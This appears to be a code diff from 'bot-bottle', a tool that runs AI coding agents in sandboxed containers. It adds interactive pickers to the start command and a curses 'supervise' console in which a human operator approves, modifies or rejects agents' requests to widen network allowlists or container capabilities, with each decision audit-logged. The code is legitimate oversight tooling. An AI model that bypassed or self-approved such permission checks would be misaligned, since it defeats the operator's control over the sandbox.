from . import tui
|
||||||
|
|
||||||
|
|
||||||
def cmd_start(argv: list[str]) -> int:
|
def cmd_start(argv: list[str]) -> int:
|
||||||
@@ -51,15 +50,39 @@ def cmd_start(argv: list[str]) -> int:
|
|||||||
"or 'docker'). Overrides the env var when set."
|
"or 'docker'). Overrides the env var when set."
|
||||||
),
|
),
|
||||||
)
|
)
|
||||||
parser.add_argument("name", help="agent name defined in bot-bottle.json")
|
parser.add_argument(
|
||||||
|
"name",
|
||||||
|
nargs="?",
|
||||||
|
default=None,
|
||||||
|
help="agent name defined in bot-bottle.json (omit to pick interactively)",
|
||||||
|
)
|
||||||
args = parser.parse_args(argv)
|
args = parser.parse_args(argv)
|
||||||
|
|
||||||
dry_run = args.dry_run or os.environ.get("BOT_BOTTLE_DRY_RUN") == "1"
|
dry_run = args.dry_run or os.environ.get("BOT_BOTTLE_DRY_RUN") == "1"
|
||||||
|
|
||||||
manifest = Manifest.resolve(USER_CWD)
|
manifest = Manifest.resolve(USER_CWD)
|
||||||
|
|
||||||
|
agent_name: str | None = args.name
|
||||||
|
if agent_name is None:
|
||||||
|
agent_name = tui.filter_select(
|
||||||
|
sorted(manifest.agents.keys()),
|
||||||
|
title="Select agent",
|
||||||
|
)
|
||||||
|
if agent_name is None:
|
||||||
|
return 0
|
||||||
|
|
||||||
|
backend_name: str | None = args.backend
|
||||||
|
if backend_name is None and "BOT_BOTTLE_BACKEND" not in os.environ:
|
||||||
|
backend_name = tui.filter_select(
|
||||||
|
list(known_backend_names()),
|
||||||
|
title="Select backend",
|
||||||
|
)
|
||||||
|
if backend_name is None:
|
||||||
|
return 0
|
||||||
|
|
||||||
spec = BottleSpec(
|
spec = BottleSpec(
|
||||||
manifest=manifest,
|
manifest=manifest,
|
||||||
agent_name=args.name,
|
agent_name=agent_name,
|
||||||
copy_cwd=args.cwd,
|
copy_cwd=args.cwd,
|
||||||
user_cwd=USER_CWD,
|
user_cwd=USER_CWD,
|
||||||
)
|
)
|
||||||
@@ -67,11 +90,11 @@ def cmd_start(argv: list[str]) -> int:
|
|||||||
spec,
|
spec,
|
||||||
dry_run=dry_run,
|
dry_run=dry_run,
|
||||||
remote_control=args.remote_control,
|
remote_control=args.remote_control,
|
||||||
backend_name=args.backend,
|
backend_name=backend_name,
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
# --- Public helpers shared with the dashboard (PRD 0020) -----------------
|
# --- Launch helpers ------------------------------------------------------
|
||||||
|
|
||||||
|
|
||||||
def prepare_with_preflight(
|
def prepare_with_preflight(
|
||||||
@@ -84,14 +107,11 @@ def prepare_with_preflight(
|
|||||||
backend_name: str | None = None,
|
backend_name: str | None = None,
|
||||||
) -> tuple[DockerBottlePlan | None, str]:
|
) -> tuple[DockerBottlePlan | None, str]:
|
||||||
"""Run `backend.prepare`, render the preflight summary via the
|
"""Run `backend.prepare`, render the preflight summary via the
|
||||||
injected callable, prompt y/N via the injected callable. The CLI
|
injected callable, prompt y/N via the injected callable.
|
||||||
binds these to stderr/stdin; the dashboard binds them to a
|
|
||||||
curses modal.
|
|
||||||
|
|
||||||
`backend_name` selects which backend prepares the plan
|
`backend_name` selects which backend prepares the plan
|
||||||
(`None` → `$BOT_BOTTLE_BACKEND` → `docker`). Dashboard
|
(`None` → `$BOT_BOTTLE_BACKEND` → `docker`). The CLI passes
|
||||||
passes the value from its new-agent backend-picker modal; the
|
whatever `--backend` resolved to.
|
||||||
CLI passes whatever `--backend` resolved to.
|
|
||||||
|
|
||||||
Returns `(plan, identity)`. `plan` is None on dry-run or
|
Returns `(plan, identity)`. `plan` is None on dry-run or
|
||||||
operator-N, but `identity` is set as soon as `backend.prepare`
|
operator-N, but `identity` is set as soon as `backend.prepare`
|
||||||
@@ -122,16 +142,10 @@ def attach_agent(
|
|||||||
agent process's exit code.
|
agent process's exit code.
|
||||||
|
|
||||||
`resume=True` adds `--continue` so claude picks up its most
|
`resume=True` adds `--continue` so claude picks up its most
|
||||||
recent session non-interactively (no session-picker prompt) —
|
recent session non-interactively (no session-picker prompt).
|
||||||
the right shape for the dashboard's Enter re-attach (PRD 0020
|
First-attach paths (`./cli.py start`) leave it False.
|
||||||
chunk 3), where a bottle typically has exactly one session.
|
|
||||||
First-attach paths (`./cli.py start`, the dashboard's new-agent
|
|
||||||
flow) leave it False.
|
|
||||||
|
|
||||||
Used as the inner step of `./cli.py start` (one-shot) and by the
|
Used as the inner step of `./cli.py start`."""
|
||||||
dashboard, which calls it from inside a `curses.endwin → … →
|
|
||||||
stdscr.refresh()` handoff so the curses surface gets out of the
|
|
||||||
terminal's way while the agent has it."""
|
|
||||||
runtime = runtime_for(agent_provider_template)
|
runtime = runtime_for(agent_provider_template)
|
||||||
info(
|
info(
|
||||||
f"attaching interactive {agent_provider_template} session "
|
f"attaching interactive {agent_provider_template} session "
|
||||||
@@ -148,8 +162,7 @@ def attach_agent(
|
|||||||
def capture_claude_session_state(identity: str, exit_code: int) -> None:
|
def capture_claude_session_state(identity: str, exit_code: int) -> None:
|
||||||
"""Inside the launch context, while the container is still
|
"""Inside the launch context, while the container is still
|
||||||
alive: snapshot the transcript and mark for preservation if
|
alive: snapshot the transcript and mark for preservation if
|
||||||
claude crashed. Public for the dashboard's death-handling path
|
claude crashed."""
|
||||||
(PRD 0020 open question 3)."""
|
|
||||||
# FIXME: this captures Claude-specific session state. A follow-up
|
# FIXME: this captures Claude-specific session state. A follow-up
|
||||||
# spike should explore freezing provider-neutral container state
|
# spike should explore freezing provider-neutral container state
|
||||||
# instead of relying on each agent's transcript layout.
|
# instead of relying on each agent's transcript layout.
|
||||||
@@ -162,9 +175,7 @@ def capture_claude_session_state(identity: str, exit_code: int) -> None:
|
|||||||
|
|
||||||
def settle_state(identity: str) -> None:
|
def settle_state(identity: str) -> None:
|
||||||
"""Post-teardown housekeeping: print the resume hint if the
|
"""Post-teardown housekeeping: print the resume hint if the
|
||||||
state was preserved, otherwise reap the per-bottle state dir.
|
state was preserved, otherwise reap the per-bottle state dir."""
|
||||||
Public so the dashboard's explicit-stop path calls the same
|
|
||||||
settlement the CLI uses on context exit."""
|
|
||||||
if not identity:
|
if not identity:
|
||||||
return
|
return
|
||||||
if is_preserved(identity):
|
if is_preserved(identity):
|
||||||
|
|||||||
@@ -0,0 +1,577 @@
|
|||||||
|
"""supervise: list pending supervise proposals across all bottles and
|
||||||
|
act on them (approve / modify / reject).
|
||||||
|
|
||||||
|
Curses-based TUI; modify-then-approve shells out to $EDITOR. The
|
||||||
|
approval handlers wire to the per-tool remediation engines:
|
||||||
|
PRD 0014 (egress, retargeted from cred-proxy in PRD 0017
|
||||||
|
chunk 3) writes routes.yaml + SIGHUPs egress; PRD 0015
|
||||||
|
(pipelock) writes the allowlist + restarts pipelock; PRD 0016
|
||||||
|
(capability) rebuilds the bottle Dockerfile.
|
||||||
|
"""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import argparse
|
||||||
|
import curses
|
||||||
|
import os
|
||||||
|
import subprocess
|
||||||
|
import sys
|
||||||
|
import tempfile
|
||||||
|
import traceback
|
||||||
|
from dataclasses import dataclass
|
||||||
|
from datetime import datetime, timezone
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
from .. import supervise as _supervise
|
||||||
|
from ..backend.docker.bottle_state import read_metadata
|
||||||
|
from ..backend.docker.capability_apply import (
|
||||||
|
CapabilityApplyError,
|
||||||
|
apply_capability_change,
|
||||||
|
)
|
||||||
|
from ..backend.docker.egress_apply import EgressApplyError, add_route
|
||||||
|
from ..backend.docker.pipelock_apply import (
|
||||||
|
PipelockApplyError,
|
||||||
|
apply_allowlist_change,
|
||||||
|
fetch_current_allowlist,
|
||||||
|
parse_allowlist_content,
|
||||||
|
render_allowlist_content,
|
||||||
|
)
|
||||||
|
from ..log import Die, error, info
|
||||||
|
from ..supervise import (
|
||||||
|
COMPONENT_FOR_TOOL,
|
||||||
|
AuditEntry,
|
||||||
|
Proposal,
|
||||||
|
Response,
|
||||||
|
STATUS_APPROVED,
|
||||||
|
STATUS_MODIFIED,
|
||||||
|
STATUS_REJECTED,
|
||||||
|
TOOL_CAPABILITY_BLOCK,
|
||||||
|
TOOL_EGRESS_BLOCK,
|
||||||
|
TOOL_PIPELOCK_BLOCK,
|
||||||
|
archive_proposal,
|
||||||
|
list_pending_proposals,
|
||||||
|
render_diff,
|
||||||
|
write_audit_entry,
|
||||||
|
write_response,
|
||||||
|
)
|
||||||
|
from ._common import PROG
|
||||||
|
|
||||||
|
|
||||||
|
_REFRESH_INTERVAL_MS = 1000
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass(frozen=True)
|
||||||
|
class QueuedProposal:
|
||||||
|
"""A pending proposal plus the queue dir it was found in."""
|
||||||
|
|
||||||
|
proposal: Proposal
|
||||||
|
queue_dir: Path
|
||||||
|
|
||||||
|
|
||||||
|
# Errors any remediation engine may raise. Caught by the TUI key
|
||||||
|
# handlers and surfaced in the status line so a failed apply keeps
|
||||||
|
# the proposal pending rather than crashing curses.
|
||||||
|
ApplyError = (EgressApplyError, PipelockApplyError, CapabilityApplyError)
|
||||||
|
|
||||||
|
|
||||||
|
def discover_pending() -> list[QueuedProposal]:
|
||||||
|
"""Walk ~/.bot-bottle/queue/* and collect pending proposals."""
|
||||||
|
queue_root = _supervise.bot_bottle_root() / "queue"
|
||||||
|
if not queue_root.is_dir():
|
||||||
|
return []
|
||||||
|
out: list[QueuedProposal] = []
|
||||||
|
for slug_dir in sorted(queue_root.iterdir()):
|
||||||
|
if not slug_dir.is_dir():
|
||||||
|
continue
|
||||||
|
for proposal in list_pending_proposals(slug_dir):
|
||||||
|
out.append(QueuedProposal(proposal=proposal, queue_dir=slug_dir))
|
||||||
|
out.sort(key=lambda q: q.proposal.arrival_timestamp)
|
||||||
|
return out
|
||||||
|
|
||||||
|
|
||||||
|
def _approval_status(qp: QueuedProposal, verb: str) -> str:
|
||||||
|
"""Status-line text after a successful approval."""
|
||||||
|
base = f"{verb} {qp.proposal.tool} for [{qp.proposal.bottle_slug}]"
|
||||||
|
if qp.proposal.tool == TOOL_CAPABILITY_BLOCK:
|
||||||
|
return f"{base}; resume: ./cli.py resume {qp.proposal.bottle_slug}"
|
||||||
|
return base
|
||||||
|
|
||||||
|
|
||||||
|
def _detail_lines(
|
||||||
|
qp: QueuedProposal,
|
||||||
|
*,
|
||||||
|
green_attr: int = 0,
|
||||||
|
) -> list[tuple[str, int]]:
|
||||||
|
"""Return the detail-view body as (text, curses-attr) tuples."""
|
||||||
|
p = qp.proposal
|
||||||
|
out: list[tuple[str, int]] = [
|
||||||
|
(f"bottle: {p.bottle_slug}", 0),
|
||||||
|
(f"tool: {p.tool}", 0),
|
||||||
|
(f"id: {p.id}", 0),
|
||||||
|
(f"arrived: {p.arrival_timestamp}", 0),
|
||||||
|
(f"queue: {qp.queue_dir}", 0),
|
||||||
|
("", 0),
|
||||||
|
("justification:", 0),
|
||||||
|
]
|
||||||
|
out.extend((" " + line, 0) for line in p.justification.splitlines() or [""])
|
||||||
|
out.extend([
|
||||||
|
("", 0),
|
||||||
|
(_proposed_payload_label(p.tool) + ":", 0),
|
||||||
|
])
|
||||||
|
out.extend((line, 0) for line in p.proposed_file.splitlines() or [""])
|
||||||
|
if p.tool == TOOL_PIPELOCK_BLOCK:
|
||||||
|
host = _failed_url_host(p.proposed_file)
|
||||||
|
if host:
|
||||||
|
out.append(("", 0))
|
||||||
|
out.append((host, green_attr))
|
||||||
|
return out
|
||||||
|
|
||||||
|
|
||||||
|
def _failed_url_host(url: str) -> str:
|
||||||
|
"""Best-effort hostname extraction from a pipelock-block proposal."""
|
||||||
|
import urllib.parse
|
||||||
|
|
||||||
|
try:
|
||||||
|
return urllib.parse.urlsplit(url.strip()).hostname or ""
|
||||||
|
except ValueError:
|
||||||
|
return ""
|
||||||
|
|
||||||
|
|
||||||
|
def _proposed_payload_label(tool: str) -> str:
|
||||||
|
if tool == TOOL_PIPELOCK_BLOCK:
|
||||||
|
return "failed URL"
|
||||||
|
return "proposed file"
|
||||||
|
|
||||||
|
|
||||||
|
def _suffix_for_tool(tool: str) -> str:
|
||||||
|
if tool == TOOL_CAPABILITY_BLOCK:
|
||||||
|
return ".dockerfile"
|
||||||
|
return ".txt"
|
||||||
|
|
||||||
|
|
||||||
|
# --- Operator actions ------------------------------------------------------
|
||||||
|
|
||||||
|
|
||||||
|
def approve(
|
||||||
|
qp: QueuedProposal,
|
||||||
|
*,
|
||||||
|
notes: str = "",
|
||||||
|
final_file: str | None = None,
|
||||||
|
) -> None:
|
||||||
|
"""Apply the proposal, write the waiting response, and audit it."""
|
||||||
|
status = STATUS_MODIFIED if final_file is not None else STATUS_APPROVED
|
||||||
|
file_to_apply = final_file if final_file is not None else qp.proposal.proposed_file
|
||||||
|
|
||||||
|
diff_before, diff_after = "", ""
|
||||||
|
if qp.proposal.tool == TOOL_EGRESS_BLOCK:
|
||||||
|
diff_before, diff_after = add_route(
|
||||||
|
qp.proposal.bottle_slug, file_to_apply,
|
||||||
|
)
|
||||||
|
elif qp.proposal.tool == TOOL_PIPELOCK_BLOCK:
|
||||||
|
diff_before, diff_after = _apply_pipelock_url(
|
||||||
|
qp.proposal.bottle_slug, file_to_apply,
|
||||||
|
)
|
||||||
|
elif qp.proposal.tool == TOOL_CAPABILITY_BLOCK:
|
||||||
|
_meta = read_metadata(qp.proposal.bottle_slug)
|
||||||
|
if _meta is not None and not _meta.compose_project:
|
||||||
|
raise CapabilityApplyError(
|
||||||
|
"capability-block remediation is not supported for smolmachines "
|
||||||
|
"bottles. Reject this proposal or handle the capability change "
|
||||||
|
"manually, then restart the bottle."
|
||||||
|
)
|
||||||
|
diff_before, diff_after = apply_capability_change(
|
||||||
|
qp.proposal.bottle_slug, file_to_apply,
|
||||||
|
)
|
||||||
|
|
||||||
|
response = Response(
|
||||||
|
proposal_id=qp.proposal.id,
|
||||||
|
status=status,
|
||||||
|
notes=notes,
|
||||||
|
final_file=final_file,
|
||||||
|
)
|
||||||
|
write_response(qp.queue_dir, response)
|
||||||
|
_write_audit(
|
||||||
|
qp, action=status, notes=notes,
|
||||||
|
diff_before=diff_before, diff_after=diff_after,
|
||||||
|
)
|
||||||
|
if qp.proposal.tool == TOOL_CAPABILITY_BLOCK:
|
||||||
|
archive_proposal(qp.queue_dir, qp.proposal.id)
|
||||||
|
|
||||||
|
|
||||||
|
def reject(qp: QueuedProposal, *, reason: str) -> None:
|
||||||
|
"""Write a rejection response and an audit entry."""
|
||||||
|
response = Response(
|
||||||
|
proposal_id=qp.proposal.id,
|
||||||
|
status=STATUS_REJECTED,
|
||||||
|
notes=reason,
|
||||||
|
final_file=None,
|
||||||
|
)
|
||||||
|
write_response(qp.queue_dir, response)
|
||||||
|
_write_audit(qp, action=STATUS_REJECTED, notes=reason, diff_before="", diff_after="")
|
||||||
|
|
||||||
|
|
||||||
|
def _apply_pipelock_url(slug: str, failed_url: str) -> tuple[str, str]:
|
||||||
|
"""Merge a pipelock-block failed URL's host into the allowlist."""
|
||||||
|
import urllib.parse
|
||||||
|
|
||||||
|
parsed = urllib.parse.urlsplit(failed_url.strip())
|
||||||
|
host = parsed.hostname or ""
|
||||||
|
if not host:
|
||||||
|
raise PipelockApplyError(
|
||||||
|
f"proposed failed_url has no extractable host: {failed_url!r}"
|
||||||
|
)
|
||||||
|
current = fetch_current_allowlist(slug)
|
||||||
|
hosts = parse_allowlist_content(current)
|
||||||
|
if host not in hosts:
|
||||||
|
hosts.append(host)
|
||||||
|
return apply_allowlist_change(slug, render_allowlist_content(hosts))
|
||||||
|
|
||||||
|
|
||||||
|
def _write_audit(
|
||||||
|
qp: QueuedProposal,
|
||||||
|
*,
|
||||||
|
action: str,
|
||||||
|
notes: str,
|
||||||
|
diff_before: str,
|
||||||
|
diff_after: str,
|
||||||
|
) -> None:
|
||||||
|
"""Audit log for egress / pipelock tools."""
|
||||||
|
component = COMPONENT_FOR_TOOL.get(qp.proposal.tool)
|
||||||
|
if component is None:
|
||||||
|
return
|
||||||
|
write_audit_entry(AuditEntry(
|
||||||
|
timestamp=datetime.now(timezone.utc).isoformat(),
|
||||||
|
bottle_slug=qp.proposal.bottle_slug,
|
||||||
|
component=component,
|
||||||
|
operator_action=action,
|
||||||
|
operator_notes=notes,
|
||||||
|
justification=qp.proposal.justification,
|
||||||
|
diff=render_diff(diff_before, diff_after, label=component),
|
||||||
|
))
|
||||||
|
|
||||||
|
|
||||||
|
# --- $EDITOR integration --------------------------------------------------
|
||||||
|
|
||||||
|
|
||||||
|
def edit_in_editor(content: str, *, suffix: str = ".tmp") -> str | None:
|
||||||
|
"""Open `content` in $EDITOR and return edited content, if changed."""
|
||||||
|
editor = os.environ.get("EDITOR", "vim")
|
||||||
|
with tempfile.NamedTemporaryFile(
|
||||||
|
mode="w", suffix=suffix, delete=False, prefix="supervise-modify.",
|
||||||
|
) as f:
|
||||||
|
f.write(content)
|
||||||
|
path = f.name
|
||||||
|
try:
|
||||||
|
subprocess.run([editor, path], check=False)
|
||||||
|
with open(path, encoding="utf-8") as f:
|
||||||
|
edited = f.read()
|
||||||
|
return edited if edited != content else None
|
||||||
|
finally:
|
||||||
|
try:
|
||||||
|
os.unlink(path)
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
# --- TUI -------------------------------------------------------------------
|
||||||
|
|
||||||
|
|
||||||
|
def cmd_supervise(argv: list[str]) -> int:
|
||||||
|
parser = argparse.ArgumentParser(prog=f"{PROG} supervise", add_help=True)
|
||||||
|
parser.add_argument(
|
||||||
|
"--once", action="store_true",
|
||||||
|
help="list pending proposals once and exit (no TUI)",
|
||||||
|
)
|
||||||
|
args = parser.parse_args(argv)
|
||||||
|
|
||||||
|
if args.once:
|
||||||
|
return _list_once()
|
||||||
|
try:
|
||||||
|
curses.wrapper(_main_loop)
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
return 130
|
||||||
|
except Die as e:
|
||||||
|
if e.message:
|
||||||
|
error(e.message)
|
||||||
|
else:
|
||||||
|
error("supervise exited on a fatal error (no detail captured).")
|
||||||
|
return e.code if isinstance(e.code, int) else 1
|
||||||
|
except Exception as e: # noqa: W0718 — catch supervise crash for logging
|
||||||
|
log_path = _write_crash_log(e)
|
||||||
|
error(f"supervise crashed: {type(e).__name__}: {e}")
|
||||||
|
error(f"full traceback written to {log_path}")
|
||||||
|
return 1
|
||||||
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
def _write_crash_log(exc: BaseException) -> Path:
|
||||||
|
"""Persist `exc`'s traceback to a stable file under ~/.bot-bottle/."""
|
||||||
|
stamp = datetime.now(timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ")
|
||||||
|
body = "".join(
|
||||||
|
traceback.format_exception(type(exc), exc, exc.__traceback__)
|
||||||
|
)
|
||||||
|
entry = f"=== supervise crash {stamp} ===\n{body}\n"
|
||||||
|
try:
|
||||||
|
log_dir = _supervise.bot_bottle_root() / "logs"
|
||||||
|
log_dir.mkdir(parents=True, exist_ok=True)
|
||||||
|
path = log_dir / "supervise-crash.log"
|
||||||
|
with path.open("a", encoding="utf-8") as fh:
|
||||||
|
fh.write(entry)
|
||||||
|
return path
|
||||||
|
except OSError:
|
||||||
|
fd, tmp = tempfile.mkstemp(
|
||||||
|
prefix="bot-bottle-supervise-crash-", suffix=".log",
|
||||||
|
)
|
||||||
|
with os.fdopen(fd, "w", encoding="utf-8") as fh:
|
||||||
|
fh.write(entry)
|
||||||
|
return Path(tmp)
|
||||||
|
|
||||||
|
|
||||||
|
def _list_once() -> int:
|
||||||
|
pending = discover_pending()
|
||||||
|
if not pending:
|
||||||
|
info("no pending proposals")
|
||||||
|
return 0
|
||||||
|
for qp in pending:
|
||||||
|
sys.stdout.write(
|
||||||
|
f"{qp.proposal.arrival_timestamp} "
|
||||||
|
f"[{qp.proposal.bottle_slug}] "
|
||||||
|
f"{qp.proposal.tool} "
|
||||||
|
f"{qp.proposal.id}\n"
|
||||||
|
)
|
||||||
|
sys.stdout.write(f" {qp.proposal.justification}\n")
|
||||||
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
def _try_init_green() -> int:
|
||||||
|
"""Initialise a green color pair and return its attr, or 0."""
|
||||||
|
try:
|
||||||
|
curses.start_color()
|
||||||
|
curses.use_default_colors()
|
||||||
|
curses.init_pair(1, curses.COLOR_GREEN, -1)
|
||||||
|
return curses.color_pair(1)
|
||||||
|
except curses.error:
|
||||||
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
def _main_loop(stdscr: "curses._CursesWindow") -> None: # type: ignore
|
||||||
|
curses.curs_set(0)
|
||||||
|
stdscr.timeout(_REFRESH_INTERVAL_MS)
|
||||||
|
green_attr = _try_init_green()
|
||||||
|
selected = 0
|
||||||
|
status_line = ""
|
||||||
|
seen_ids: set[str] = set()
|
||||||
|
|
||||||
|
while True:
|
||||||
|
pending = discover_pending()
|
||||||
|
if selected >= len(pending):
|
||||||
|
selected = max(0, len(pending) - 1)
|
||||||
|
|
||||||
|
live_ids = {qp.proposal.id for qp in pending}
|
||||||
|
newly_arrived = live_ids - seen_ids
|
||||||
|
if seen_ids and newly_arrived:
|
||||||
|
try:
|
||||||
|
curses.beep()
|
||||||
|
except curses.error:
|
||||||
|
pass
|
||||||
|
for i, qp in enumerate(pending):
|
||||||
|
if qp.proposal.id in newly_arrived:
|
||||||
|
selected = i
|
||||||
|
break
|
||||||
|
seen_ids = live_ids
|
||||||
|
|
||||||
|
_render(
|
||||||
|
stdscr, pending, selected, status_line,
|
||||||
|
green_attr=green_attr,
|
||||||
|
)
|
||||||
|
|
||||||
|
try:
|
||||||
|
key = stdscr.getch()
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
return
|
||||||
|
|
||||||
|
if key == -1:
|
||||||
|
continue
|
||||||
|
|
||||||
|
status_line = ""
|
||||||
|
|
||||||
|
if key in (ord("q"), 27):
|
||||||
|
return
|
||||||
|
|
||||||
|
if not pending:
|
||||||
|
continue
|
||||||
|
qp = pending[selected]
|
||||||
|
|
||||||
|
if key in (curses.KEY_DOWN, ord("j")):
|
||||||
|
selected = min(selected + 1, len(pending) - 1)
|
||||||
|
elif key in (curses.KEY_UP, ord("k")):
|
||||||
|
selected = max(selected - 1, 0)
|
||||||
|
elif key in (curses.KEY_ENTER, 10, 13):
|
||||||
|
_detail_view(stdscr, qp, green_attr=green_attr)
|
||||||
|
elif key == ord("a"):
|
||||||
|
try:
|
||||||
|
approve(qp)
|
||||||
|
status_line = _approval_status(qp, "approved")
|
||||||
|
except ApplyError as e:
|
||||||
|
status_line = f"apply failed: {e}"
|
||||||
|
elif key == ord("m"):
|
||||||
|
edited = _modify(stdscr, qp)
|
||||||
|
if edited is None:
|
||||||
|
status_line = "modify aborted (no change)"
|
||||||
|
else:
|
||||||
|
try:
|
||||||
|
approve(qp, final_file=edited, notes="operator modified before approving")
|
||||||
|
status_line = _approval_status(qp, "modified+approved")
|
||||||
|
except ApplyError as e:
|
||||||
|
status_line = f"apply failed: {e}"
|
||||||
|
elif key == ord("r"):
|
||||||
|
reason = _prompt(stdscr, "reject reason: ")
|
||||||
|
if reason:
|
||||||
|
reject(qp, reason=reason)
|
||||||
|
status_line = f"rejected {qp.proposal.tool} for [{qp.proposal.bottle_slug}]"
|
||||||
|
else:
|
||||||
|
status_line = "reject aborted (empty reason)"
|
||||||
|
|
||||||
|
|
||||||
|
def _render(
|
||||||
|
stdscr: "curses._CursesWindow", # type: ignore
|
||||||
|
pending: list[QueuedProposal],
|
||||||
|
selected: int,
|
||||||
|
status_line: str,
|
||||||
|
*,
|
||||||
|
green_attr: int = 0, # noqa: F841 — unused, but required by interface
|
||||||
|
) -> None:
|
||||||
|
stdscr.erase()
|
||||||
|
h, w = stdscr.getmaxyx()
|
||||||
|
header = f"bot-bottle supervise ({len(pending)} pending)"
|
||||||
|
stdscr.addnstr(0, 0, header, w - 1, curses.A_BOLD)
|
||||||
|
stdscr.hline(1, 0, curses.ACS_HLINE, w)
|
||||||
|
|
||||||
|
row = 2
|
||||||
|
if not pending:
|
||||||
|
stdscr.addnstr(
|
||||||
|
row, 2,
|
||||||
|
"no pending proposals; agents will queue here when they call a "
|
||||||
|
"supervise tool",
|
||||||
|
w - 4,
|
||||||
|
)
|
||||||
|
else:
|
||||||
|
for i, qp in enumerate(pending):
|
||||||
|
if row >= h - 3:
|
||||||
|
break
|
||||||
|
p = qp.proposal
|
||||||
|
ts_short = (
|
||||||
|
p.arrival_timestamp.split("T", 1)[1][:8]
|
||||||
|
if "T" in p.arrival_timestamp else p.arrival_timestamp
|
||||||
|
)
|
||||||
|
cursor = "> " if i == selected else " "
|
||||||
|
line = (
|
||||||
|
f"{cursor}{ts_short} "
|
||||||
|
f"[{p.bottle_slug}] {p.tool:<18} {p.id[:8]} "
|
||||||
|
f"{_proposed_payload_label(p.tool)}"
|
||||||
|
)
|
||||||
|
attr = curses.A_REVERSE if i == selected else curses.A_NORMAL
|
||||||
|
stdscr.addnstr(row, 0, line, w - 1, attr)
|
||||||
|
row += 1
|
||||||
|
if row >= h - 3:
|
||||||
|
break
|
||||||
|
if p.justification:
|
||||||
|
stdscr.addnstr(row, 4, p.justification[: max(0, w - 5)], w - 5)
|
||||||
|
row += 1
|
||||||
|
|
||||||
|
footer = "[j/k] move [Enter] view [a] approve [m] modify [r] reject [q] quit"
|
||||||
|
stdscr.hline(h - 2, 0, curses.ACS_HLINE, w)
|
||||||
|
stdscr.addnstr(h - 1, 0, footer, w - 1, curses.A_DIM)
|
||||||
|
if status_line:
|
||||||
|
stdscr.addnstr(h - 3, 0, status_line, w - 1, curses.A_BOLD)
|
||||||
|
stdscr.refresh()
|
||||||
|
|
||||||
|
|
||||||
|
def _detail_view(
|
||||||
|
stdscr: "curses._CursesWindow", # type: ignore
|
||||||
|
qp: QueuedProposal,
|
||||||
|
*,
|
||||||
|
green_attr: int = 0,
|
||||||
|
) -> None:
|
||||||
|
"""Render the full proposal. Scrollable. Press q to return."""
|
||||||
|
lines = _detail_lines(qp, green_attr=green_attr)
|
||||||
|
offset = 0
|
||||||
|
while True:
|
||||||
|
stdscr.erase()
|
||||||
|
h, w = stdscr.getmaxyx()
|
||||||
|
for i, (text, attr) in enumerate(lines[offset:offset + h - 1]):
|
||||||
|
stdscr.addnstr(i, 0, text, w - 1, attr)
|
||||||
|
stdscr.addnstr(
|
||||||
|
h - 1, 0,
|
||||||
|
"[j/k] scroll [g/G] top/bottom [a] approve [m] modify [r] reject [q] back",
|
||||||
|
w - 1, curses.A_DIM,
|
||||||
|
)
|
||||||
|
stdscr.refresh()
|
||||||
|
key = stdscr.getch()
|
||||||
|
if key in (ord("q"), 27):
|
||||||
|
return
|
||||||
|
if key in (curses.KEY_DOWN, ord("j")):
|
||||||
|
offset = min(offset + 1, max(0, len(lines) - 1))
|
||||||
|
elif key in (curses.KEY_UP, ord("k")):
|
||||||
|
offset = max(offset - 1, 0)
|
||||||
|
elif key == ord("g"):
|
||||||
|
offset = 0
|
||||||
|
elif key == ord("G"):
|
||||||
|
offset = max(0, len(lines) - 1)
|
||||||
|
elif key == ord("a"):
|
||||||
|
try:
|
||||||
|
approve(qp)
|
||||||
|
except ApplyError:
|
||||||
|
pass
|
||||||
|
return
|
||||||
|
elif key == ord("m"):
|
||||||
|
edited = _modify(stdscr, qp)
|
||||||
|
if edited is not None:
|
||||||
|
try:
|
||||||
|
approve(qp, final_file=edited, notes="operator modified before approving")
|
||||||
|
except ApplyError:
|
||||||
|
pass
|
||||||
|
return
|
||||||
|
elif key == ord("r"):
|
||||||
|
reason = _prompt(stdscr, "reject reason: ")
|
||||||
|
if reason:
|
||||||
|
reject(qp, reason=reason)
|
||||||
|
return
|
||||||
|
|
||||||
|
|
||||||
|
def _modify(stdscr: "curses._CursesWindow", qp: QueuedProposal) -> str | None: # type: ignore
|
||||||
|
"""Suspend curses, open $EDITOR on the proposed file, return edited content."""
|
||||||
|
suffix = _suffix_for_tool(qp.proposal.tool)
|
||||||
|
curses.endwin()
|
||||||
|
try:
|
||||||
|
edited = edit_in_editor(qp.proposal.proposed_file, suffix=suffix)
|
||||||
|
finally:
|
||||||
|
stdscr.refresh()
|
||||||
|
return edited
|
||||||
|
|
||||||
|
|
||||||
|
def _prompt(stdscr: "curses._CursesWindow", label: str) -> str: # type: ignore
|
||||||
|
"""One-line input at the bottom of the screen."""
|
||||||
|
curses.curs_set(1)
|
||||||
|
h, _ = stdscr.getmaxyx()
|
||||||
|
stdscr.move(h - 2, 0)
|
||||||
|
stdscr.clrtoeol()
|
||||||
|
stdscr.addstr(h - 2, 0, label)
|
||||||
|
stdscr.refresh()
|
||||||
|
curses.echo()
|
||||||
|
try:
|
||||||
|
raw = stdscr.getstr(h - 2, len(label), 200)
|
||||||
|
finally:
|
||||||
|
curses.noecho()
|
||||||
|
curses.curs_set(0)
|
||||||
|
return raw.decode("utf-8", errors="replace").strip()
|
||||||
|
|
||||||
|
|
||||||
|
__all__ = [
|
||||||
|
"QueuedProposal",
|
||||||
|
"approve",
|
||||||
|
"cmd_supervise",
|
||||||
|
"discover_pending",
|
||||||
|
"edit_in_editor",
|
||||||
|
"reject",
|
||||||
|
]
|
||||||
@@ -0,0 +1,220 @@
|
|||||||
|
"""tui.py — minimal curses filter-select picker for CLI prompts.
|
||||||
|
|
||||||
|
Exposed surface:
|
||||||
|
|
||||||
|
filter_select(items, *, title="", tty_path="/dev/tty") -> str | None
|
||||||
|
|
||||||
|
Opens /dev/tty directly so the picker works even when stdout/stdin are
|
||||||
|
redirected. Returns the selected item or None on cancel.
|
||||||
|
"""
|
||||||
|
|
||||||
|
